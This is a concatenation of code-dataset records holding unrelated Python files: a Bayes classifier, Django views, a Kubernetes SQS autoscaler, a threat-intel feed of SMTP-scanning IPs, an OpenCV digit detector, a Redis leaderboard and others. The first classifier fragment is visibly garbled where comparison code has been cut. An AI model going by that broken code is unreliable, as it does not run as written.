range(dimension):\n\t\tfirst_term+=x[i]*(mean[second][i]-mean[first][i])\n\tfirst_term*=2\n\tsecond_term=0;\n\tfor i in range(dimension):\n\t\tsecond_term+=(mean[first][i]*mean[first][i])-(mean[second][i]*mean[second][i])\n\tval*=first_term+second_term\n\tval+=math.log(float(len(classes[first]))/len(classes[second]))\n\tif val<0:\n\t\treturn first\n\telse:\n\t\treturn second\n\ndef calcConfusion():\n\tglobal confusionMatrix\n\tconfusionMatrix=[[0 for i in range(len(classes))] for i in range(len(classes))]\n\tfor i in range(len(classes)):\n\t\tfor j in range(len(testData[i])):\n\t\t\tx=testData[i][j]\n\t\t\tret=gi(x)\n\t\t\tconfusionMatrix[ret][i]+=1\n\ndef calcConfusionClass(ind):\n\ttemp=[[0 for i in range(2)] for i in range(2)]\n\tfor j in range(len(classes)):\n\t\tfor i in range(len(testData[j])):\n\t\t\tx=testData[j][i]\n\t\t\tret=gi(x)\n\t\t\tif ind==j:\n\t\t\t\tif ret==ind:\n\t\t\t\t\ttemp[0][0]+=1\n\t\t\t\telse:\n\t\t\t\t\ttemp[1][0]+=1\n\t\t\telse: \n\t\t\t\tif ret==ind:\n\t\t\t\t\ttemp[0][1]+=1\n\t\t\t\telse:\n\t\t\t\t\ttemp[1][1]+=1\n\tconfusionMatClass.append(temp)\n\t\nprint( \"\\nThis program is a Baye's Classifier assuming the case when Covariance Matrix = (sigma)^2*I and is same for all classes.\\n\")\n\nprint( \"Enter which data you want to use : \")\nprint( \"1. Linearly Separable Data.\")\nprint( \"2. Non-linearly Separable Data.\")\nprint( \"3. Real World Data.\")\nchoice=input(\"Choice : \")\t\n\nif(choice==1):\n\tcalcPrereq(\"../../data/ls_group2/Class1.txt\")\n\tcalcPrereq(\"../../data/ls_group2/Class2.txt\")\n\tcalcPrereq(\"../../data/ls_group2/Class3.txt\")\nelif(choice==2):\n\tcalcPrereq(\"../../data/nl_group2/Class1.txt\")\n\tcalcPrereq(\"../../data/nl_group2/Class2.txt\")\n\tcalcPrereq(\"../../data/nl_group2/Class3.txt\")\nelif(choice==3):\n\tcalcPrereq(\"../../data/rd_group2/Class1.txt\")\n\tcalcPrereq(\"../../data/rd_group2/Class2.txt\")\n\tcalcPrereq(\"../../data/rd_group2/Class3.txt\")\nelse:\n\tprint( \"Wrong input! Exiting.\\n\")\n\nchoices=['ls','nl','rd']\n\nfor i in range(len(classes)):\n\tfor j in range(dimension):\n\t\taverage_variance+=variance[i][j]\naverage_variance/=len(classes)*dimension\n\ncovarianceMatrix=average_variance*np.identity(dimension)\ncovarianceMatrixInv=np.asmatrix(covarianceMatrix).I\n\nprint( \"\\nThe average variance calculated for all classes comes out to be\",average_variance)\n\nprint( \"\\nThe mean and variance vectors for different classes are: \\n\")\nfor i in range(len(mean)):\n\tprint( \"Class \",i+1,\": Mean - \",mean[i],\" Var - \",variance[i])\n\nfor i in range(len(classes)):\n\tcalcConfusionClass(i)\n\ncalcConfusion()\n\nAccuracy=[]\nPrecision=[]\nRecall=[]\nFMeasure=[]\n\nprint( \"\\nThe Confusion Matrices for different classes are: \")\nfor i in range(len(classes)):\n\tprint( \"\\nConfusion Matrix for class\",i+1,\": \\n\")\n\tprint( np.asmatrix(confusionMatClass[i]))\n\ttp=confusionMatClass[i][0][0]\n\tfp=confusionMatClass[i][0][1]\n\tfn=confusionMatClass[i][1][0]\n\ttn=confusionMatClass[i][1][1]\n\taccuracy=float(tp+tn)/(tp+tn+fp+fn)\n\tprecision=float(tp)/(tp+fp)\n\trecall=float(tp)/(tp+fn)\n\tfMeasure=2*precision*recall/(precision+recall)\n\tprint( \"\\nClassification Accuracy for class\",i+1,\"is\",accuracy)\n\tprint( \"Precision for class\",i+1,\"is\",precision)\n\tprint( \"Recall for class\",i+1,\"is\",recall)\n\tprint( \"F-measure for class\",i+1,\"is\",fMeasure)\n\tAccuracy.append(accuracy),Precision.append(precision),Recall.append(recall),FMeasure.append(fMeasure)\n\navgAccuracy,avgPrecision,avgRecall,avgFMeasure=0,0,0,0\nfor i in range (len(classes)):\n\tavgAccuracy+=Accuracy[i]\n\tavgPrecision+=Precision[i]\n\tavgRecall+=Recall[i]\n\tavgFMeasure+=FMeasure[i]\navgAccuracy/=len(classes)\navgPrecision/=len(classes)\navgRecall/=len(classes)\navgFMeasure/=len(classes)\n\nprint( \"\\nThe Confusion Matrix of all classes together is: \\n\")\nprint( np.asmatrix(confusionMatrix))\nprint( \"\\nAverage classification Accuracy is\",avgAccuracy)\nprint( \"Average precision is\",avgPrecision)\nprint( \"Average recall is\",avgRecall)\nprint( \"Average F-measure is\",avgFMeasure)\n\nprint( \"\\nPlease wait for a minute or two while the program generates graphs...\")\n\ncolors=['b','g','r']\ncolorsTestData=['c','m','y']\n\nl=1\nf=[]\n\nf.append(plt.figure(l))\nl+=1\nminArr=[0 for i in range(dimension)]\nmaxArr=[0 for i in range(dimension)]\nfor i in range(dimension):\n\tminArr[i]=classesRange[0][0][i]\n\tmaxArr[i]=classesRange[0][1][i]\n\nfor i in range(len(classesRange)):\n\tfor j in range(dimension):\n\t\tif(minArr[j]>classesRange[i][0][j]):\n\t\t\tminArr[j]=classesRange[i][0][j]\n\t\tif(maxArr[j]classesRange[k][0][i]):\n\t\t\t\tminArr[i]=classesRange[k][0][i]\n\t\t\tif(maxArr[i] Image:\n #today = datetime.today().astimezone() #requires pyhton 3.6\n today = datetime.today()\n data = self.api.getSchedule(today)\n\n draw = ImageDraw.Draw(img)\n\n self._draw_header(img, today)\n\n #print(utils.parseTime(data['data'][0]['date']))\n\n shows = []\n\n for i in range(len(data['data'])):\n for s in data['data'][i]['elements']:\n shows.append(s)\n\n print(len(shows))\n\n pos = 0\n hasCurrent = False\n cnt = 3 if detail else 6\n for i in range(len(shows)):\n timeStart = utils.parseTime(shows[i]['timeStart'])\n timeEnd = utils.parseTime(shows[i]['timeEnd'])\n\n if timeEnd < today:\n continue\n\n if timeStart < today and timeEnd > today and not hasCurrent:\n print(shows[i]['title'], i)\n rbtv_printer.printCurrent(img, shows[i], timeStart, timeEnd, today, rbtv_config.fontSmall)\n hasCurrent = True # sometimes shows overlap a few minutes\n continue\n \n if not upcoming:\n break\n rbtv_printer.printUpcomming(img, shows[i], timeStart, pos, detail)\n\n pos += 1\n if pos > cnt:\n break\n return img\n","sub_path":"python3/rbtv/rbtv.py","file_name":"rbtv.py","file_ext":"py","file_size_in_byte":4629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"300642215","text":"'''\nFunction:\n Image to Patch Embedding\nAuthor:\n Zhenchao Jin\n'''\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom ..normalization import BuildNormalization\n\n\n'''Image to Patch Embedding'''\nclass PatchEmbed(nn.Module):\n def __init__(self, in_channels=3, embed_dims=768, kernel_size=16, stride=16, padding=0, dilation=1, pad_to_patch_size=True, norm_cfg=None):\n super(PatchEmbed, self).__init__()\n self.embed_dims = embed_dims\n if stride is None: stride = kernel_size\n patch_size = kernel_size\n if isinstance(patch_size, int):\n patch_size = (patch_size, patch_size)\n self.patch_size = patch_size\n self.projection = nn.Conv2d(in_channels, embed_dims, kernel_size=kernel_size, stride=stride, padding=padding, dilation=dilation)\n self.pad_to_patch_size = pad_to_patch_size\n if norm_cfg is not None:\n self.norm = BuildNormalization(norm_cfg['type'], (embed_dims, norm_cfg['opts']))\n else:\n self.norm = None\n '''forward'''\n def forward(self, x):\n H, W = x.shape[2], x.shape[3]\n if self.pad_to_patch_size:\n if H % self.patch_size[0] != 0:\n x = F.pad(x, (0, 0, 0, self.patch_size[0] - H % self.patch_size[0]))\n if W % self.patch_size[1] != 0:\n x = F.pad(x, (0, self.patch_size[1] - W % self.patch_size[1], 0, 0))\n x = self.projection(x)\n self.DH, self.DW = x.shape[2], x.shape[3]\n x = x.flatten(2).transpose(1, 2)\n if self.norm is not None:\n x = self.norm(x)\n return x","sub_path":"ssseg/modules/backbones/bricks/transformer/embed.py","file_name":"embed.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"360787884","text":"import argparse\nimport os\n\nimport textpreprocessor.create_vocabulary\n\nimport utils\n\ndef main(args):\n config = utils.Config()\n\n utils.mkdir(os.path.join(config.getpath(\"data\"), \"rstdt-vocab\"))\n\n filenames = os.listdir(os.path.join(config.getpath(\"data\"), \"rstdt\", \"renamed\"))\n filenames = [n for n in filenames if n.endswith(\".edus\")]\n filenames.sort()\n\n with open(os.path.join(config.getpath(\"data\"), \"rstdt\", \"tmp.preprocessing\", \"concat.edus.heads.deprel\"), \"w\") as f:\n for filename in filenames:\n deprels = utils.read_lines(os.path.join(config.getpath(\"data\"), \"rstdt\", \"renamed\", filename + \".heads\"),\n process=lambda line: line.split()[-1])\n for deprel in deprels:\n f.write(\"%s\\n\" % deprel)\n\n if args.with_root:\n special_words = [\"\"]\n else:\n special_words = []\n textpreprocessor.create_vocabulary.run(\n os.path.join(config.getpath(\"data\"), \"rstdt\", \"tmp.preprocessing\", \"concat.edus.heads.deprel\"),\n os.path.join(config.getpath(\"data\"), \"rstdt-vocab\", \"deprels.vocab.txt\"),\n prune_at=10000000,\n min_count=-1,\n special_words=special_words,\n with_unk=True)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--with_root\", action=\"store_true\")\n args = parser.parse_args()\n main(args)\n","sub_path":"preprocessing/build_deprel_vocabulary_rstdt.py","file_name":"build_deprel_vocabulary_rstdt.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"537001824","text":"\n\n#calss header\nclass _STATEROOM():\n\tdef __init__(self,): \n\t\tself.name = \"STATEROOM\"\n\t\tself.definitions = [u'a large room, for example in a castle or palace, used for formal or important occasions: ', u'a room where you sleep on a cruise ship (= a large ship like a hotel): ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_stateroom.py","file_name":"_stateroom.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"127316762","text":"#encoding:utf-8\n# Create your views here.\nfrom django.http import Http404\nfrom django.shortcuts import render, get_object_or_404\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.contrib.auth import login, authenticate, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom couching.models import PerfilUsuario, Carrera, Docencia, Couching\nfrom couching.forms import DocenciaFormulario\nfrom django.contrib import messages\n\n###############################################################################################################\n############################# Control de Usuarios ##########################################\n###############################################################################################################\ndef cerrar_sesion(request):\n logout(request)\n return HttpResponseRedirect('/login/')\n\ndef inicio_sesion(request):\n if request.method == 'POST':\n form = AuthenticationForm(request.POST)\n if form.is_valid:\n usuario = request.POST['usuario']\n passw = request.POST['password']\n access = authenticate(username=usuario, password=passw)\n if access is not None:\n login(request, access)\n return HttpResponseRedirect('/dash/')\n else:\n messages.add_message(request, messages.ERROR, u'El usuario y/o contraseña no son validos')\n return HttpResponseRedirect('/login/')\n else:\n if not request.user.is_authenticated():\n form = AuthenticationForm()\n else:\n return HttpResponseRedirect('/dash/')\n return render(request, 'login.html', {'formulario':form})\n\n###############################################################################################################\n\n@login_required(login_url='/login/')\ndef dashboard(request):\n perfil = PerfilUsuario.objects.get(usuario = request.user)\n request.session.set_expiry(600)\n return render(request, 'dashboard.html', {'perfil' : perfil})\n\n\n@login_required(login_url='/login/')\ndef lista_carreras(request):\n perfil = PerfilUsuario.objects.get(usuario = request.user)\n if perfil.tipo == 2 :\n return render(request, 'lista_carreras.html', {'carreras' : Carrera.objects.all(), 'perfil' : perfil })\n elif perfil.tipo == 4:\n return Http404()\n else:\n return Http404()\n\n@login_required(login_url='/login/')\ndef docente_perfil(request, doc):\n perfil = PerfilUsuario.objects.get(usuario=User.objects.get(pk=doc))\n docencias = Docencia.objects.filter(docente=perfil.usuario)\n couch = Couching.objects.get(docentes_asignados=perfil.usuario)\n return render(request, 'docente_perfil.html', {'docencias' : docencias, 'perfil_docente' : perfil, 'perfil' : PerfilUsuario.objects.get(usuario = request.user), 'couch' : couch})\n\n@login_required(login_url='/login/')\ndef asignaciones(request):\n perfil = PerfilUsuario.objects.get(usuario = request.user)\n docentes = Couching.objects.get(couch = perfil.usuario).docentes_asignados.all()\n return render(request, 'couching.html', {'perfil' : perfil,'docentes' : docentes})\n\n@login_required(login_url='/login/')\ndef editar_docencia(request, id):\n perfil = PerfilUsuario.objects.get(usuario = request.user)\n docencia = get_object_or_404(Docencia, pk = id)\n form = DocenciaFormulario(request.POST or None, request.FILES, instance = docencia)\n if request.method == 'POST' and form.is_valid():\n form.save()\n return HttpResponseRedirect('/dash/')\n return render(request, 'docencia.html', {'perfil' : perfil, 'docencia' : docencia, 'form' : form })\n","sub_path":"sicam/couching/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"125375955","text":"from collections import defaultdict\n\nimport boto3\nfrom time import sleep, time\n\nfrom dataclasses import dataclass\n\nfrom logs.log import logger\nfrom kubernetes import client, config\n\n\n@dataclass(repr=False)\nclass Options:\n sqs_queue_url: str = \"\"\n sqs_queue_name: str = \"\"\n kubernetes_deployment: str = \"\"\n kubernetes_namespace: str = \"\"\n kubernetes_deployment_selector: str = \"\"\n aws_region: str = \"\"\n poll_period: int = 10\n scale_down_cool_down: int = 10\n scale_up_cool_down: int = 10\n scale_up_messages: int = 20\n scale_down_messages: int = 10\n max_pods: int = 10\n min_pods: int = 1\n\n\nclass SQSPoller:\n\n options = None\n sqs_client = None\n extensions_v1_beta1 = None\n last_message_count = None\n\n def __init__(self, options: Options):\n self.options = options\n self.sqs_client = boto3.client(\"sqs\", region_name=options.aws_region)\n\n if not self.options.sqs_queue_url:\n # derive the URL from the queue name\n self.options.sqs_queue_url = self.sqs_client.get_queue_url(\n QueueName=self.options.sqs_queue_name\n )[\"QueueUrl\"]\n\n config.load_incluster_config()\n self.extensions_v1_beta1 = client.ExtensionsV1beta1Api()\n self.last_scale_up_time = defaultdict(time)\n self.last_scale_down_time = defaultdict(time)\n\n def message_counts(self):\n response = self.sqs_client.get_queue_attributes(\n QueueUrl=self.options.sqs_queue_url,\n AttributeNames=[\"ApproximateNumberOfMessages\", \"ApproximateNumberOfMessagesNotVisible\"],\n )\n message_count = int(response[\"Attributes\"][\"ApproximateNumberOfMessages\"])\n invisible_message_count = int(\n response[\"Attributes\"][\"ApproximateNumberOfMessagesNotVisible\"]\n )\n return message_count, invisible_message_count\n\n def poll(self):\n message_count, invisible_message_count = self.message_counts()\n t = time()\n for deployment in self.deployments():\n name = deployment.metadata.name\n logger.info(\"Checking deployment %s\", name)\n if message_count >= self.options.scale_up_messages:\n if t - self.last_scale_up_time[name] > self.options.scale_up_cool_down:\n self.scale_up(deployment)\n self.last_scale_up_time[name] = t\n else:\n logger.debug(\"Waiting for scale up cooldown\")\n if message_count <= self.options.scale_down_messages:\n # special case - do not scale to zero unless there are no invisible messages\n if (\n invisible_message_count > 0\n and deployment.spec.replicas <= invisible_message_count\n ):\n logger.debug(\"Not scaling down because messages are still in-flight\")\n elif t - self.last_scale_down_time[name] > self.options.scale_down_cool_down:\n self.scale_down(deployment)\n self.last_scale_down_time[name] = t\n else:\n if deployment.spec.replicas > self.options.min_pods:\n logger.debug(\"Waiting for scale down cooldown\")\n\n # code for scale to use msg_count\n sleep(self.options.poll_period)\n\n def scale_up(self, deployment):\n if deployment.spec.replicas < self.options.max_pods:\n deployment.spec.replicas += 1\n logger.info(\"Scaling up to %d\" % deployment.spec.replicas)\n self.update_deployment(deployment)\n elif deployment.spec.replicas > self.options.max_pods:\n self.scale_down(deployment)\n else:\n logger.debug(\"Max pods reached\")\n\n def scale_down(self, deployment):\n if deployment.spec.replicas > self.options.min_pods:\n deployment.spec.replicas -= 1\n logger.info(\"Scaling down to %d\" % deployment.spec.replicas)\n self.update_deployment(deployment)\n elif deployment.spec.replicas < self.options.min_pods:\n self.scale_up(deployment)\n else:\n logger.debug(\"Min pods reached\")\n\n def deployments(self):\n logger.debug(\n \"loading deployments: %s from namespace: %s\",\n self.options.kubernetes_deployment or self.options.kubernetes_deployment_selector,\n self.options.kubernetes_namespace,\n )\n if self.options.kubernetes_deployment_selector:\n selector = self.options.kubernetes_deployment_selector\n else:\n selector = \"app={}\".format(self.options.kubernetes_deployment)\n logger.debug(\"Selector is %s\", selector)\n deployments = self.extensions_v1_beta1.list_namespaced_deployment(\n self.options.kubernetes_namespace, label_selector=selector\n )\n return deployments.items\n\n def update_deployment(self, deployment):\n # Update the deployment\n api_response = self.extensions_v1_beta1.patch_namespaced_deployment(\n name=deployment.metadata.name,\n namespace=self.options.kubernetes_namespace,\n body=deployment,\n )\n logger.debug(\"Deployment updated. status='%s'\" % str(api_response.status))\n\n def run(self):\n options = self.options\n logger.debug(\n \"Starting poll for %s every %d seconds\", options.sqs_queue_url, options.poll_period\n )\n while True:\n self.poll()\n\n\ndef run(options):\n \"\"\"\n poll_period is set as as part of k8s deployment env variable\n sqs_queue_url is set as as part of k8s deployment env variable\n \"\"\"\n SQSPoller(Options(**options.__dict__)).run()\n","sub_path":"sqs/sqs.py","file_name":"sqs.py","file_ext":"py","file_size_in_byte":5691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"92053108","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 24 08:11:05 2019\n\n@author: imad\n\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import ListedColormap\n\nclass PDR(object):\n def __init__(self, X, y, classifier, resolution=0.02):\n \n \"\"\"\n A decission region plotter.\n \n Parameters\n ----------\n X : {array-like}, shape = [n_samples,n_features]\n Training dataset containing feature vectors.\n \n y : {array-like}, shape = [n_samples]\n Target class labels for the samples in X.\n \n classifier : object\n The classifier object.\n \n resolution : \n \n \n \n ----------\n \"\"\"\n \n # setup marker generator and color map\n markers = ('s', 'x', 'o', '^', 'v')\n colors = ('red', 'blue', 'lightgreen', 'gray', 'cyan')\n cmap = ListedColormap(colors[:len(np.unique(y))])\n \n # plot the decision surface\n x1_min, x1_max = X[:, 0].min() - 1, X[:, 0].max() + 1\n x2_min, x2_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n xx1, xx2 = np.meshgrid(np.arange(x1_min, x1_max, resolution),\n np.arange(x2_min, x2_max, resolution))\n Z = classifier.predict(np.array([xx1.ravel(), xx2.ravel()]).T)\n Z = Z.reshape(xx1.shape)\n plt.contourf(xx1, xx2, Z, alpha=0.3, cmap=cmap)\n plt.xlim(xx1.min(), xx1.max())\n plt.ylim(xx2.min(), xx2.max())\n \n # plot class samples\n for idx, cl in enumerate(np.unique(y)):\n a = (y == cl).ravel()\n xx = []\n yy = []\n for i in range(len(a)):\n \n if a.ndim == 2:\n if a[i, 0]:\n xx.append(X[i, 0])\n yy.append(X[i, 1])\n elif a.ndim == 1:\n if a[i]:\n xx.append(X[i, 0])\n yy.append(X[i, 1])\n else:\n print(\"Dimension of a not handled\")\n plt.scatter(x=xx, \n y=yy,\n alpha=0.8, \n c=colors[idx],\n marker=markers[idx], \n label=cl, \n edgecolor='black')\n \n \n","sub_path":"plot_decission_regions.py","file_name":"plot_decission_regions.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"33800864","text":"\nimport argparse\n\nfrom myhdl import (Signal, intbv, always_seq, always_comb)\n\nfrom rhea.build.boards import get_board\n\n\ndef icestick_blinky(led, clock, reset=None):\n \"\"\" simple icestick LED blink \"\"\"\n assert len(led) == 5\n\n maxcnt = int(clock.frequency)\n cnt = Signal(intbv(0, min=0, max=maxcnt))\n toggle = Signal(bool(0))\n\n @always_seq(clock.posedge, reset=None)\n def rtl():\n if cnt == maxcnt-1:\n toggle.next = not toggle\n cnt.next = 0\n else:\n cnt.next = cnt + 1\n\n @always_comb\n def rtl_assign():\n led.next[0] = toggle\n led.next[1] = not toggle\n for ii in range(2, 5):\n led.next[ii] = 0\n\n return rtl, rtl_assign\n\n\ndef build(args):\n brd = get_board('icestick')\n flow = brd.get_flow(top=icestick_blinky)\n flow.run()\n\n\ndef cliparse():\n parser = argparse.ArgumentParser()\n args = parser.parse_args()\n return args\n\n\ndef main():\n args = cliparse()\n build(args)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"examples/boards/icestick/blinky.py","file_name":"blinky.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"638024566","text":"\"\"\"\n Feed of SMTP greetings from dataplane with IPs and ASN\n\"\"\"\nimport logging\nfrom datetime import datetime, timedelta\n\nimport pandas as pd\nfrom core.errors import ObservableValidationError\nfrom core.feed import Feed\nfrom core.observables import AutonomousSystem, Ip\n\n\nclass DataplaneSMTPGreet(Feed):\n \"\"\"\n Feed of SMTP greetings from dataplane with IPs and ASN\n \"\"\"\n\n default_values = {\n \"frequency\": timedelta(hours=2),\n \"name\": \"DataplaneSMTPGreet\",\n \"source\": \"https://dataplane.org/smtpgreet.txt\",\n \"description\": \"Entries below are records of source IP addresses that have been identified as SMTP clients issuing unsolicited HELO or EHLO commands.\",\n }\n\n def update(self):\n resp = self._make_request(sort=False)\n lines = resp.content.decode(\"utf-8\").split(\"\\n\")[68:-5]\n columns = [\"ASN\", \"ASname\", \"ipaddr\", \"lastseen\", \"category\"]\n df = pd.DataFrame([l.split(\"|\") for l in lines], columns=columns)\n\n for c in columns:\n df[c] = df[c].str.strip()\n df = df.dropna()\n df[\"lastseen\"] = pd.to_datetime(df[\"lastseen\"])\n if self.last_run:\n df = df[df[\"lastseen\"] > self.last_run]\n for count, row in df.iterrows():\n self.analyze(row)\n\n def analyze(self, item):\n context_ip = {\n \"source\": self.name,\n \"last_seen\": item[\"lastseen\"],\n \"date_added\": datetime.utcnow(),\n }\n\n try:\n ip = Ip.get_or_create(value=item[\"ipaddr\"])\n ip.add_context(context_ip, dedup_list=[\"date_added\"])\n ip.add_source(self.name)\n ip.tag(\"dataplane\")\n ip.tag(\"smtp\")\n ip.tag(\"scanning\")\n ip.tag(item[\"category\"])\n\n asn = AutonomousSystem.get_or_create(value=item[\"ASN\"])\n context_ans = {\"source\": self.name, \"name\": item[\"ASname\"]}\n asn.add_context(context_ans, dedup_list=[\"date_added\"])\n asn.add_source(self.name)\n asn.tag(\"dataplane\")\n asn.active_link_to(ip, \"AS\", self.name)\n except ObservableValidationError as e:\n logging.error(e)\n","sub_path":"plugins/feeds/public/dataplane_smtpgreet.py","file_name":"dataplane_smtpgreet.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"163228975","text":"\"\"\"Alter Reply Table rename column\n\nRevision ID: 4bd7c589e859\nRevises: b2de0aa95666\nCreate Date: 2018-12-09 20:32:01.371518\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '4bd7c589e859'\ndown_revision = 'b2de0aa95666'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('reply', sa.Column('mail', mysql.JSON(none_as_null=True), nullable=False))\n op.drop_column('reply', 'email')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('reply', sa.Column('email', mysql.JSON(), nullable=False))\n op.drop_column('reply', 'mail')\n # ### end Alembic commands ###\n","sub_path":"database/versions/4bd7c589e859_alter_reply_table_rename_column.py","file_name":"4bd7c589e859_alter_reply_table_rename_column.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"81542472","text":"import cv2 as cv\nimport numpy as np\nimport math\n\nfrom sklearn import datasets, svm, metrics\nfrom sklearn.model_selection import train_test_split\n\n\n\ndigits = datasets.load_digits()\nn_samples = len(digits.images)\ndata = digits.images.reshape((n_samples, -1)) \nclassifier = svm.SVC(gamma=0.001)\nX_train, _, y_train,_ = train_test_split(\n data, digits.target, test_size=1, shuffle=False)\nclassifier.fit(X_train, y_train)\ncv.startWindowThread()\ncap = cv.VideoCapture('sentry3.mkv')\nframes=1\nfourcc = cv.VideoWriter_fourcc(*'mp4v')\nout = cv.VideoWriter('output.mp4', fourcc, 10.0, (1440,810),True)\n\nwhile(frames<29):\n\n ret, frame = cap.read()\n cv.waitKey(1)\n frames=frames+1\nwhile (frames<179):\n ret, frame = cap.read()\n cv.waitKey(1)\n frames=frames+1\n frame2=frame.copy()\n Mask=cv.inRange(frame2,np.array([0, 0, 0]),np.array([50,50,50]))\n Mask=cv.bitwise_not(Mask)\n kernel = np.ones((5,5),np.uint8)\n\n dilation = cv.dilate(Mask,kernel,iterations = 1)\n erosion = cv.erode(dilation,kernel,iterations = 13)\n Mask=cv.bitwise_not(erosion)\n contours, hierarchy = cv.findContours(Mask, cv.RETR_EXTERNAL, cv.CHAIN_APPROX_SIMPLE)\n # frame4=np.zeros(frame.shape,dtype=np.int8)\n for i in contours:\n frame4=np.zeros(frame.shape,dtype=np.uint8)\n x1,y1,w1,h1= cv.boundingRect(i)\n \n rect=cv.minAreaRect(i)\n \n box=cv.boxPoints(rect)\n \n box=np.int0(box)\n centre=rect[0]\n cv.rectangle(frame2,(x1,y1),(x1+w1,y1+h1),(20, 255, 57),2)\n cv.drawContours(frame4, [box],0,(255,255,255),-1)\n # cv.drawContours(frame2, [box],0,(20, 255, 57),2)\n roi=cv.bitwise_and(frame,frame4)\n ekkaurmask=cv.inRange(roi,np.array([0, 0,200]),np.array([255,255,255]))\n ekkaurmask = cv.dilate(ekkaurmask,kernel,iterations = 15)\n frame1=cv.bitwise_and(roi,roi,mask=ekkaurmask)\n whitemask=cv.inRange(frame1,np.array([130, 130,130]),np.array([255,255,205]))\n \n contour, _ = cv.findContours(whitemask, cv.RETR_EXTERNAL, cv.CHAIN_APPROX_SIMPLE)\n if len(contour)!=0:\n c = max(contour, key = cv.contourArea)\n x,y,w,h = cv.boundingRect(c)\n if(w>5 or h>5):\n font = cv.FONT_HERSHEY_COMPLEX \n imgs=frame[y:y+h, x:x+w]\n framee= cv.resize(imgs,(8,8),interpolation=cv.INTER_LINEAR)\n framee=cv.cvtColor(framee,cv.COLOR_BGR2GRAY)\n framee=framee/16\n test=np.asarray(framee,dtype=\"int32\")\n new=np.asarray(test,dtype=\"float32\")\n predicted = classifier.predict([new.reshape(-1)])\n if ((predicted[0]==1)or (predicted[0]==9) or (predicted[0]==7)):\n # cv.circle(frame2,, 7, (255,0,0), -1)\n \n cv.putText(frame2, 'Red 1', (x1,int (y1-4)), font,0.7, (20, 255, 57),2) \n if predicted[0]==2:\n cv.putText(frame2, 'Red 2', (x1,int (y1-4)), font,0.7, (20, 255, 57),2)\n else: \n print(box)\n # cv.drawContours(frame2, [box],0,(255,255,255),2)\n \n cv.imshow('lool',frame2)\n out.write(frame2)\n k = cv.waitKey(1) & 0xff\n if k == 27 : break\n ","sub_path":"final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"636732039","text":"import os\nimport requests\nimport flask\nimport redis\nimport datetime\nimport json\n\nclass RedisProvider(object):\n def __init__(self, items: list=[]):\n self._items = items\n self.formatted_results = []\n \n \n def getLeaderboard(self) -> str:\n self.formatted_results = []\n #Connect to redis\n pool = redis.ConnectionPool(host=os.environ['REDIS_SERVER'], port=6379, db=0)\n r = redis.Redis(connection_pool=pool)\n \n # Run zrevrange from docs zrevrange(name, start, end, withscores=False, score_cast_func=)\n raw_results = r.zrevrange(str('score.quizscore:'+datetime.datetime.today().strftime('%Y-%m-%d')) , 0, 5, withscores=True) \n #Format results\n for score in raw_results:\n self.formatted_results.append([score[0].decode(\"utf-8\"), score[1]])\n \n\n return json.dumps(self.formatted_results), 200\n\n def getTodaysCurrentChampion(self) -> str:\n #Connect to redis\n pool = redis.ConnectionPool(host=os.environ['REDIS_SERVER'], port=6379, db=0)\n r = redis.Redis(connection_pool=pool)\n \n # Run zrevrange from docs zrevrange(name, start, end, withscores=False, score_cast_func=)\n results = r.zrevrange(str('score.quizscore:'+datetime.datetime.today().strftime('%Y-%m-%d')) , 0, 5, withscores=True) \n \n #Format results - Take winning player (first tuple) \n score = results[0]\n return \"Todays champion is : \\n User : \"+str(score[0].decode(\"utf-8\"))+ \" with Score : \"+str(score[1]), 200\n\n def setPlayerScore(self, productPayload) -> str:\n #Connect to redis\n pool = redis.ConnectionPool(host=os.environ['REDIS_SERVER'], port=6379, db=0)\n r = redis.Redis(connection_pool=pool)\n\n r.zadd('score.quizscore:'+datetime.datetime.today().strftime('%Y-%m-%d'),productPayload['score'], productPayload['userid'] )\n r.zadd('score.quizscore', productPayload['score'],productPayload['userid'] )\n\n return \"Success\", 